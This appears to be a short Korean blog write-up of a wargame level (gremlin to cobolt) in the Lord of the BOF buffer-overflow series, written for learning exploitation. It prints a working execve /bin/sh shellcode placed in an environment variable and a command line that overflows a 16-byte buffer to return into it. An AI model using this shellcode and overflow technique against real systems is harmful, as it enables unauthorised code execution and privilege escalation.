우선해당 레벨을 풀기전에 bash2로 쉘을 변경해주고 다시 재 접속을 하였다.
다음으로 해당 디렉토리에 어떤한 파일이 있는지 대해서 보았으며, 다음으로 C소스파일을 보았다.
레벨1과 비슷하지만 버퍼의 크기가 작다.
그래서 환경변수로 쉘코드를 넘겨서 푸는걸로 생각을 해보았다.
바로 환경변수를 넘겼다.
export SHCODE=$(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"')
쉘코드가 어디올라가있는지 알기 위해서 간단한 코드를 작성해보았다.
컴파일을 한 후 쉘코드가 올라간 주소를 보기로 했다.
이어서 공격문을 작성을 해보았다.
buffer(16byte) | EBP(4byte) | ret(4byte)
| |
이렇게 구성이 되며, 공격문은 ./cobolt $(python -c 'print "A"*20 + "\xe9\xfe\xff\xbf"')
바로 공격을 해보자!!!
'문제풀이 > BOF원정대' 카테고리의 다른 글
LEVEL1 (gate -> gremlin) (0) | 2017.08.13 |
---|